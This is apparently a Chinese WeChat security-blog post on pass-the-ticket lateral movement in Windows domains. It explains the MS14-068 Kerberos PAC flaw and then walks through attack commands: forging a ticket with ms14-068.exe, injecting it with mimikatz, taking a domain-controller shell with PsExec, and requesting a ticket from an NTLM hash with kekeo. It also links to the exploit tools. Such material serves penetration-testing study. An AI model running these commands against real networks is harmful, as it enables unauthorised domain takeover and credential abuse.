免责声明
道一安全(本公众号)的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
MS14-068
利用前提:
1.域控没有打MS14-068的补丁(KB3011780)
2.拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和Sid
工具下载:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
漏洞原理:
先说下kerberos认证流程:
1. 域用户登录,向KDC的AS服务发送自身密码加密的时间戳进行预认证;
2. DC的AS服务验证用户密码是否正确。若正确,返回一张TGT票据,该票据为krbtgt密码加密而成;
3. 域用户凭借TGT票据向KDC的TGS服务申请访问某Server服务的票据;
4. 域控的TGS服务验证TGT后,返回给域用户能够访问该Server服务的票据(ST, TGS Ticket);
5. 域用户拿着ST访问对应的Server服务;
6. 该Server服务验证ST,决定是否允许让域用户访问。
但是在第4步中没有验证client是否具有访问server的权限,在上述认证流程中,只要用户的hash正确,就可以拿到TGT,继而拿到TGS去访问服务。就是说上面的认证只解决了“Who am I”的问题,而没有解决 “ What can I do” 的问题
因此微软引进了 PAC
PAC包含Client的User的SID、Group的SID。PAC决定了Client的组属性,即决定了Client的权限PAC为了保证自身的合法性,还包含2个签名,Key为krbtgt的NTLM hash,签名的内容除了User SID、Group SID外,还有其他部分PAC作为TGT的一部分,是加密的,key为krbtgt的NTLM hash。Client向KDC的AS模块发起认证请求,AS返回TGT时,会根据Client所在的组,生成PAC,包含Client的User SID、Group SID,以及用于确保PAC不被篡改的2个签名
PAC 是用来验证 Client 的访问权限的,它会被放在 TGT 里发送给 Client,然后由 Client 发送给 TGS。但也恰恰是这个 PAC 造成了 MS14-068 这个漏洞。
利用:
前提条件:
域内任意用户SID、域内任意用户密码(只能在2008及以下操作系统获取到明文密码)
查看用户SID:
whoami /user
利用工具在目标机器生成票据
ms14-068.exe -u [email protected] -p Server12345 -s S-1-5-21-699097127-777308050-4084861753-500 -d 10.10.10.8
生成好票据后,利用mimikatz将票据注入到内存
kerberos::purge 清空当前票据
kerberos::list 查看当前机器票据
kerberos::ptc 票据文件 注入票据
此时IPC可直接连接到域控
可使用psexec直接获取域控的shell
PsExec.exe -accepteula \AD-2008 -s cmd.exe
kekeo
工具下载链接:
https://github.com/gentilkiwi/kekeo/releases
先用mimikatz抓取一下hash(抓取hash在前面文章有写)
打开kekeo.exe(普通权限)
执行命令
tgt::ask /user:sqlserver /domain:redteam.red /ntlm:6a59bf65a4957ac67e5fb4e1c221939c
会生成一张票据
然后导入票据
kerberos::ptt [email protected]
然后直接dir域控即可
关于我们
群内不定期更新各种POC
点分享
点收藏
点在看
点点赞
原文始发于微信公众号(道一安全):域内横向总结系列-PTT
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论